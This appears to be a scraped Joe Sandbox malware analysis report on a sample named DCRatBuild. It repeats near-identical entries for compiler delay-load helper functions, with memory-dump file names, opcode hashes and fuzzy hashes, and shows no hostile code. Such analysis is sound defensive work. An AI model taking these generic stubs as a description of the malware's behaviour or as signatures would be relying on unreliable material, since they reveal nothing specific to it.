Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 837ec13d3a7c8bf8bd52aa921e63e72e5be917eb6b80efd7feae9441a67e563b
Instruction ID: d5499b195d66eef5d832659b5595253d68febe29e0e68949ba8d3a2ac069bad3
Opcode Fuzzy Hash: 837ec13d3a7c8bf8bd52aa921e63e72e5be917eb6b80efd7feae9441a67e563b
Instruction Fuzzy Hash: F0B092A1258004BC3204A2481802C3A0208E581B10320812EB814D1680D8484E040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8c5a72e3584ae4a087cdd2435c2166601f2533e352aa8d99828d583be25488c9
Instruction ID: deba557b9c5065f84276a82ee42ee78c7fac061985c3035abc6d5cf55179beeb
Opcode Fuzzy Hash: 8c5a72e3584ae4a087cdd2435c2166601f2533e352aa8d99828d583be25488c9
Instruction Fuzzy Hash: 64B012E1258004BD3204F2481C02C3B030CF5C1B10330C13FF914D1780D8444C080B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a3f7a3e1c082e1e3abd41267e1cddc29058bd6d3f77ff557da089d3f7da29260
Instruction ID: d847ffb4ac5eae46b7388d94efe14e59890c44570d62e7f982bd1cecc9e5ac45
Opcode Fuzzy Hash: a3f7a3e1c082e1e3abd41267e1cddc29058bd6d3f77ff557da089d3f7da29260
Instruction Fuzzy Hash: 7AB012C225810A7D3104B3991C02C3B020CF4C1B24330413FF414C1680F8400C040B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dfc60447c96de1df77ff8d96371bc3bbbb5a523826340ece79752c23a73d013a
Instruction ID: badfc8d1ea67ad4a6e7ff03141f7d7fbd6607cbeecc10ae9d4b9c4e8dcbb2c74
Opcode Fuzzy Hash: dfc60447c96de1df77ff8d96371bc3bbbb5a523826340ece79752c23a73d013a
Instruction Fuzzy Hash: 8AB012C2258015BC3104B2995D02C3B021CF0C1B14330433FF414C1680FC400D050B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 88dded6bd90f809e297b71c4fa791d3b892d9b0fe7e5a67985199ffb1c37d152
Instruction ID: f1c2cb57f367d1b256b7d2a9a2d90e326761e14ef01a3aadac28266215265f8d
Opcode Fuzzy Hash: 88dded6bd90f809e297b71c4fa791d3b892d9b0fe7e5a67985199ffb1c37d152
Instruction Fuzzy Hash: 80B012C2258105BC3144B2995C03C3B021CF0C1B15330433FF414C1680F8400C440B33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5da3a625e8c57afd503c178e828784d86f0220bd3b71cd9d4451a93ca12a7166
Instruction ID: 4c747d1084a4a42ef5624d2fcaa464d259ec173d935aaa27d44493d5efcd9109
Opcode Fuzzy Hash: 5da3a625e8c57afd503c178e828784d86f0220bd3b71cd9d4451a93ca12a7166
Instruction Fuzzy Hash: 30B012C52584047C310873681C06C3F020CF0C2F14330813FF821C0981A8400D080933

Uniqueness

Uniqueness Score: -1.00%

Function 0088E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c185aa6aff6ea3e9302910836cdb1309461be42337afe475834d768c48daff9d
Instruction ID: b2bb7146d3791c64bd0d95d66f99929ffab078dfb83a1b39ac78a329a225ee6b
Opcode Fuzzy Hash: c185aa6aff6ea3e9302910836cdb1309461be42337afe475834d768c48daff9d
Instruction Fuzzy Hash: 2CB012C12585447C3108B24C1D02C3F064CF0C6F24330813FF915C0680E8400C050A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e2b8067441675da1f2cb2c36a79f5923e3f02fcccec972e2ef5e362fefe1912b
Instruction ID: 522ea448300ce72b315f0a0e05cecc40b2bfd13448dd09bc3468490436e67f5c
Opcode Fuzzy Hash: e2b8067441675da1f2cb2c36a79f5923e3f02fcccec972e2ef5e362fefe1912b
Instruction Fuzzy Hash: E1B012C12585047D3108B34C1C02D3F024CF4C2F24330813FF815C0680E8400C040A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c8bdc6f75f9f48a601791f850e3a1ea97d91d0483a6b5180c90f5b4cd9fc40ce
Instruction ID: fc437287cc2c72dce71fb86dcde51269cec96b7898e71598a8c25b962bedba64
Opcode Fuzzy Hash: c8bdc6f75f9f48a601791f850e3a1ea97d91d0483a6b5180c90f5b4cd9fc40ce
Instruction Fuzzy Hash: 9AB012C12585047C3208B24C5C03C3F020CF0D2F15330433FF815C0680E8400C480A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 079d83838d894a5c99e3f3c1ae53541432a8a2e1e588031d361c121ef52eb104
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 079d83838d894a5c99e3f3c1ae53541432a8a2e1e588031d361c121ef52eb104
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2f85d9ef67a6587bcbdf3992dfc07485d38d5fc636173e39b982d1d29aa016bb
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 2f85d9ef67a6587bcbdf3992dfc07485d38d5fc636173e39b982d1d29aa016bb
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 719eb7389c6823afe2f9c06d9681b61760290d68eae96e0100e369ab7803f284
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 719eb7389c6823afe2f9c06d9681b61760290d68eae96e0100e369ab7803f284
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 050201495174ce215b233a8b4025b50ffc919b0951211fe5abfc29853f2be69f
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 050201495174ce215b233a8b4025b50ffc919b0951211fe5abfc29853f2be69f
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5e01e22cdc2599fea288a7f6d6efdb4f3442c26855a78bc46edf04384785ab70
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 5e01e22cdc2599fea288a7f6d6efdb4f3442c26855a78bc46edf04384785ab70
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 02501a8c6f3ae5fabfa14f32ab633e50fb60dd39619e48208cadfb10c09c7ce1
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 02501a8c6f3ae5fabfa14f32ab633e50fb60dd39619e48208cadfb10c09c7ce1
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5ade8af58ba95c611984f791d86dcfc08e10b232eb3eb6f805f028037435cdef
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 5ade8af58ba95c611984f791d86dcfc08e10b232eb3eb6f805f028037435cdef
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
